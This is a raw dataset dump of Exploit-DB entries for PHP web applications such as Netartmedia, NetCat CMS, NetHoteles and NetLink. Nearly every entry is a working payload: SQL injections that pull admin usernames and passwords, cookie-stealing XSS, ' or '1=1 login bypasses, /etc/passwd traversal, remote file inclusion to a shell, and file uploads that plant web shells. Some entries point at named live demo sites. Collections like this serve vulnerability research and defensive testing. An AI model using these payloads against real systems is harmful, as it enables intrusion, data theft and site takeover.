deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46563
Description: Netartmedia Real Estate Portal 5.0 - SQL Injection
Type: webapps
Platform: php
Date: 2019-03-19
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Netartmedia Real Estate Portal 5.0 - Multiple SQL Injection
# Date: 19.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.netartmedia.net/realestate/
# Demo Site: https://www.phpscriptdemos.com/realestate/
# Version: 5.0
# Tested on: Kali Linux
# CVE: N/A
# Description: The real estate portal software is made to be
multi-language, the main site can show multiple languages and let the site
visitors choose their preferred language.

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/index.php
Parameter: user_email (POST)
Payload:
ProceedSend=1&mod=forgotten_password&user_email=0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z'
OR SLEEP(5)#

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/index.php
Parameter: MULTIPART page ((custom) POST
Payload:
------WebKitFormBoundaryYUBPFrrBhV4S4pf0
Content-Disposition: form-data; name="SubmitContact"

1
------WebKitFormBoundaryYUBPFrrBhV4S4pf0
Content-Disposition: form-data; name="code"

94102
------WebKitFormBoundaryYUBPFrrBhV4S4pf0
Content-Disposition: form-data; name="email"

sample@email.tst
------WebKitFormBoundaryYUBPFrrBhV4S4pf0
Content-Disposition: form-data; name="message"

20
------WebKitFormBoundaryYUBPFrrBhV4S4pf0
Content-Disposition: form-data; name="name"

${alpharand}
------WebKitFormBoundaryYUBPFrrBhV4S4pf0
Content-Disposition: form-data; name="page"

en_Contact-2228' OR 3801=3801-- eISZ
------WebKitFormBoundaryYUBPFrrBhV4S4pf0
Content-Disposition: form-data; name="phone"
[PII_REDACTED]
------WebKitFormBoundaryYUBPFrrBhV4S4pf0
Content-Disposition: form-data; name="subject"

1
------WebKitFormBoundaryYUBPFrrBhV4S4pf0--
Exploit-DB #46583
Description: Netartmedia Vlog System - 'email' SQL Injection
Type: webapps
Platform: php
Date: 2019-03-21
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Netartmedia Vlog System - 'email' SQL Injection
# Date: 20.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.netartmedia.net/vlogsystem/
# Demo Site: https://www.phpscriptdemos.com/vlogs/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A
----- PoC: SQLi -----
# Request: http://localhost/[PATH]/index.php
# Vulnerable Parameter: email (POST)
# Attack
Pattern: ProceedSend=1&email=-1'%20OR%203*2*1=6%20AND%20000371=000371%20--%20&mod=forgotten_password
Exploit-DB #34649
Description: Netautor Professional 5.5 - 'login2.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-17
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/43290/info

Netautor Professional is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Netautor Professional 5.5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/netautor/napro4/home/login2.php?goback=%22%3Cscript%3Ealert%28document.location%29%3C/script%3E
Exploit-DB #40512
Description: NetBilletterie 2.8 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-10-12
Author: Wadeek

Exploit:
# Exploit Title: NetBilletterie 2.8 | Multiple Vulnerabilities
# Date: 14/07/16
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Vendor Homepage: http://net-billetterie.tuxfamily.org/
# Software Link: https://sourceforge.net/projects/netbilletterie/files/
# Demo Link: http://net-billetterie.tuxfamily.org/NetBilletterieDemo/login.inc.php
# Version: 2.8
# Tested on: Xampp on Windows7
# Fuzzing tool: https://github.com/Trouiller-David/PHP-Source-Code-Analysis-Tools

[phpinfo()]
################################################################
(200) => http://localhost/netbilletterie/php_info.php
################################################################

[6 SQL Injection (Type: time-based blind)]
################################################################
(200) => http://localhost/netbilletterie/lister_detail_bon.php?date_debut=*
(200) => http://localhost/netbilletterie/lister_pointes_ok.php?date_debut=*
(302) => http://localhost/netbilletterie/delete_article.php?article=*
(302) => http://localhost/netbilletterie/delete_banque.php?id_banque=*
(302) => http://localhost/netbilletterie/delete_tarif.php?id_tarif=*
(302) => http://localhost/netbilletterie/del_client.php?num=*
################################################################

[2 SQL Injection (Type: boolean-based blind)]
################################################################
(200) => http://localhost/netbilletterie/fpdf/liste_spectateurs.php?article=*
(200) => http://localhost/netbilletterie/fpdf/liste_spectateurs_attente.php?article=*
################################################################
Exploit-DB #30945
Description: NetBizCity FaqMasterFlexPlus - 'faq.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-28
Author: Juan Galiana Lara

Exploit:
source: https://www.securityfocus.com/bid/27051/info

FaqMasterFlexPlus is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

All versions of FaqMasterFlexPlus are considered vulnerable. 

http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS]
Exploit-DB #30947
Description: NetBizCity FaqMasterFlexPlus - 'faq.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-28
Author: Juan Galiana Lara

Exploit:
source: https://www.securityfocus.com/bid/27052/info

FaqMasterFlexPlus is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

All versions of FaqMasterFlexPlus are considered vulnerable.

http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,user(),1/*
http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,passwrd,1%20from%20users%20where%20userid='admin
Exploit-DB #37994
Description: NetCat CMS - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-10-31
Author: Security Effect Team

Exploit:
source: https://www.securityfocus.com/bid/56340/info

NetCat CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

NetCat CMS 5.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/?Ã¢â?¬â?¢ onmouseover=Ã¢â?¬â?¢prompt(document.cookie)Ã¢â?¬â?¢bad=Ã¢â?¬â?¢>

http://www.example.com/search/?search_query=Ã¢â?¬â?¢ onmouseover=prompt(document.cookie) bad=Ã¢â?¬â?¢
Exploit-DB #17823
Description: NetCat CMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-09-12
Author: brain[pillow]

Exploit:
# Exploit Title: NetCat CMS Code exec, SQL-injection
# Google Dork: none
# Date: 28.11.2010
# Author: brain[pillow]
# Software Link: http://netcat.ru/
# Version: UNKNOWN

On different versions of this software next vulnerabilities are availible:

=======================================================
# Sql-injection:

/search/?action=index&text=q')+union+select+1,1,concat_ws(0x3a,login,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+User%23

=======================================================
# Code exec:

/search/?action=index&text={${phpinfo()}}

# Remote File Inclusion:
=================================
# Vuln code example:
=================================

<?php
/* $Id: function.inc.php 3272 2009-05-25 14:34:42Z vadim $ */

// get global value (for admin mode)
global $MODULE_FOLDER;

// include need classes
include_once ($MODULE_FOLDER."filemanager/nc_filemanager.class.php");

?>

================================
# Three exploits:
================================

/netcat/modules/filemanager/function.inc.php?MODULE_FOLDER=http://shell?
/netcat/modules/forum2/function.inc.php?MODULE_FOLDER=http://shell?
/netcat/modules/logging/function.inc.php?MODULE_FOLDER=http://shell?
Exploit-DB #30223
Description: NetClassifieds 1.9.7 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2007-06-21
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/24584/info

NetClassifieds is prone to multiple input-validation vulnerabilities because the application fails to sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues and cross-site scripting issues.

A successful exploit may allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

NetClassifieds Free, Standard, Professional, and Premium editions are reported vulnerable. 

http://www.example.com/ViewCat.php?CatID=-8+union+select+1,email,3+from+users/*
http://www.example.com/ViewCat.php?s_user_id='+union+select+user_password+from+users+where%20user_id=1/*
Exploit-DB #26698
Description: NetClassifieds Standard 1.9/Professional 1.5/Premium 1.0 - 'gallery.php?CatID' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-02
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15683/info

NetClassifieds is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/gallery.php?CatID=[SQL]
Exploit-DB #26699
Description: NetClassifieds Standard 1.9/Professional 1.5/Premium 1.0 - 'ViewItem.php?ItemNum' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-02
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15683/info
 
NetClassifieds is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/ViewItem.php?ItemNum=[SQL]
Exploit-DB #3435
Description: netForo! 0.1 - 'down.php?file_to_download' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-03-08
Author: GoLd_M

Exploit:
# netForo 0.1g(file_to_download)Remote File Disclosure Exploit
# D.Script: http://sourceforge.net/projects/netforo/
# Discovered by: GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# V.Code: readfile($_GET['file_to_download']);
# Exploit:[Path_netForo]/down.php?file_to_download=../../../../etc/passwd

# milw0rm.com [2007-03-08]
Exploit-DB #8449
Description: NetHoteles 2.0/3.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-04-16
Author: Dns-Team

Exploit:
#############################################################################
#                                                			    #
#           NetHoteles v3.0 (Auth Bypass) Remote Sql Injecion               #
#                                                			    #
#############################################################################

#############################################################################

[~]    -=[Dns-Team Marocain Hackers]=-

[~] Author: Dns-Team

[~] Contact: Q2[at]HoTmail[dot]Fr

[~] Site: www.Scam4u.com + www.Dns-Team.com

[~] Greetz: M4n1x + Sa4d + HSMX + Stack + PR0H4CK3RZ  + N@bilX


#############################################################################

---+-- Star --+---

[~] Expl0!T -1- For SuperAdmin  :

http://site.ir/superadmin

username:  ' or '1=1
Password:  ' or '1=1

[~] L1vÃ¨ DÃ©m0 :

http://internationalhotelbooking.com/demo/superadmin/

#############################################################################

[~] Expl0!T -2- For Admin :

http://site.ir/admin

username:  ' or '1=1
Password:  ' or '1=1

[~] L1vÃ¨ DÃ©m0 :

http://internationalhotelbooking.com/demo/admin/
----------------------------------------------

---+-- End --+---

--+--> :( 4nT! Ch4T + 4nT! Girls :)<--+--
+--------:) Spam-=-Money | Hacker-+-Sport (:--------+

#############################################################################


#############################################################################
#                                                			    #
#           NetHoteles v2.0 (Auth Bypass) Remote Sql Injecion               #
#                                                			    #
#############################################################################

#############################################################################

[~]    -=[Dns-Team Marocain Hackers]=-

[~] Author: Dns-Team

[~] Contact: Q2[at]HoTmail[dot]Fr

[~] Site: www.Scam4u.com + www.Dns-Team.com

[~] Greetz: M4n1x + Sa4d + HSMX + Stack + PR0H4CK3RZ  + N@bilX


#############################################################################

---+-- Star --+---

[~] Expl0!T -1- For SuperAdmin  :

http://site.ir/superadmin

username:  ' or '1=1
Password:  ' or '1=1

[~] L1vÃ¨ DÃ©m0 :

http://www.sierracazorla.com/nethoteles/superadmin/

#############################################################################

[~] Expl0!T -2- For Admin :

http://site.ir/admin

username:  ' or '1=1
Password:  ' or '1=1

[~] L1vÃ¨ DÃ©m0 :

http://www.sierracazorla.com/nethoteles/admin/
----------------------------------------------

---+-- End --+---

--+--> :( 4nT! Ch4T + 4nT! Girls :)<--+--
+--------:) Spam-=-Money | Hacker-+-Sport (:--------+

#############################################################################

# milw0rm.com [2009-04-16]
Exploit-DB #8457
Description: NetHoteles 3.0 - 'ficha.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-04-16
Author: snakespc

Exploit:
-------------------------AllaH AkbaR-------------------------------
NetHoteles v3.0  (ficha.php) SQL Injection Vulnerability 
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:http://www.snakespc.com/sc/index.php
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
-------------------------SNAKES TEAM-------------------------------------
Script:
http://www.sierracazorla.com
-------------------------SNAKES TEAM-------------------------------------
Exploit:
-----------
Demo:
http://www.sierracazorla.com/nethoteles/publico/ficha.php?id_establecimiento=-13%27+UNION%20SELECT%201,2,3,4,5,6,concat(@@version,0x3a,user(),0x3a,database()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+admin/*
-------------------------SNAKES TEAM-------------------------------------
Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::
Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::
THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: Dr-HTmL
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-04-16]
Exploit-DB #5661
Description: Netious CMS 0.4 - 'pageid' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-21
Author: InjEctOr5

Exploit:
                         ||          ||   | ||       
                  o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                 ( :   /    (_)    /           (   .
                   ================================
                      ==========================
                         ====================
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
Title :: Netious CMS 0.4 Remote SQL Injection Vulnerability
Author :: InjEctOr [s0f (at) w (dot) cn]
&& ToTaL [n.47 at hotmail.com]
discouvred by :: ToTaL
Application :: Netious CMS 0.4
 
Download :: http://www.netious.com/sections/3/files/netious-cms-serv-0.4.zip
 
Dork 1 ::  Not Yet  :P
 
Greets :: Allah , InjEctOr5 TeaM , TrYaG TeaM & Muslims Hackers
Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.
--------------------------------------------[C o n t e x t]-----------------------------------------
 
Vulnerability: http://localhost/netious/index.php?pageid='/**/union/**/select/**/1,concat_ws(0x3a3a,AdminId,username,password,adminMail),3+from+mycmsadmin/*
 
-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-21]
Exploit-DB #35499
Description: netjukebox 4.01B/5.25 - 'skin' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-24
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47027/info

netjukebox is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

netjukebox 5.25 is vulnerable; other versions may also be affected. 

http://www.example.com/netjukebox/message.php?skin=%22%3E%3Cscript%3Ealert(0)%3C%2fscript%3E
Exploit-DB #16088
Description: NetLink - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-02-01
Author: lumut--

Exploit:
======================================
NetLink Remote Arbitrary File Upload Vulnerability
Download: http://sourceforge.net/projects/kp-netlink/
by lumut--
Homepage: lumutcherenza.biz
======================================

[upload.php]

<?php
extract($_POST);
if ($submit)
{
  $file_name=$_FILES['filename']['name'];
    $file_type=$_FILES['filename']['type'];
    $file_tmp=$_FILES['filename']['tmp_name'];
    $file_size=$_FILES['filename']['size'];

    $user=$_SESSION['login'];
    echo "Upload Stats:<br/>";
    echo "<blockquote style='font-size:10pt;'>";
    echo "Filename: ".$file_name;
    echo "<br/>File Type: ".$file_type;
    echo "<br/>File Size: ".$file_size;

    #now that the stats have been declared & displayed, now we process and
upload the file
    $file_dest = "Users/$user/";
    $file_dest = $file_dest . $_FILES['filename']['name'];

    echo "<br/><br/>Copying $file_name....";
    echo "<br/>Moving copied file to $user's account...";
    echo "</blockquote>";
    if (move_uploaded_file($_FILES['filename']['tmp_name'], $file_dest))
          print "File '$file_name' was successfully uploaded to account
<b>$user</b>.<br/> ";
    else
    {
      print "Possible file upload attack!  Here's some debugging info:\n";
      print_r($_FILES);
    }
    touch("Users/$user/$file_name");
include("options.php");
echo "<hr color='#000000'/>";
}

?>


expl: http://[target]/[netlink_path]/upload.php
shell: http://[target]/[netlink_path]/Users/yourshell.php

======================================================================

thx to : cr4wl3r, Team_elitE, kisame, aNtI_hAcK, kazuya, PunkRock and
manadocoding team :D
======================================================================
Exploit-DB #31317
Description: NetOffice Dwins 1.3 - Authentication Bypass / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-02-29
Author: RawSecurity.org

Exploit:
source: https://www.securityfocus.com/bid/28051/info

netOffice Dwins is prone to a vulnerability that allows attackers to bypass authentication as well as a vulnerability that allows attackers to upload arbitrary files. These issues occur because the application fails to adequately sanitize user-supplied input.

Attackers can leverage these issues to gain unauthorized access to the application and to execute arbitrary code in the context of the application.

These issues affect Dwins 1.3 p2; other versions may also be affected. 

<form accept-charset="UNKNOWN" method="POST" action="http://www.example.com/netoffice/projects_site/uploadfile.php?demoSession=1&allowPhp=true&action=add&project=&task=#filedetailsAnchor" name="feeedback" enctype="multipart/form-data"> <input type="hidden" name="MAX_FILE_SIZE" value="100000000"><input type="hidden" name="maxCustom" value=""> <table cellpadding="3" cellspacing="0" border="0"> <tr><th colspan="2">Upload Form</th></tr> <tr><th>Comments :</th><td><textarea cols="60" name="commentsField" rows="6">&lt;/textarea&gt;</td></tr> <tr><th>Upload :</th><td><input size="35" value="" name="upload" type="file"></td></tr> <tr><th>&nbsp;</th><td><input name="submit" type="submit" value="Save"><br><br></td></tr></table> </form>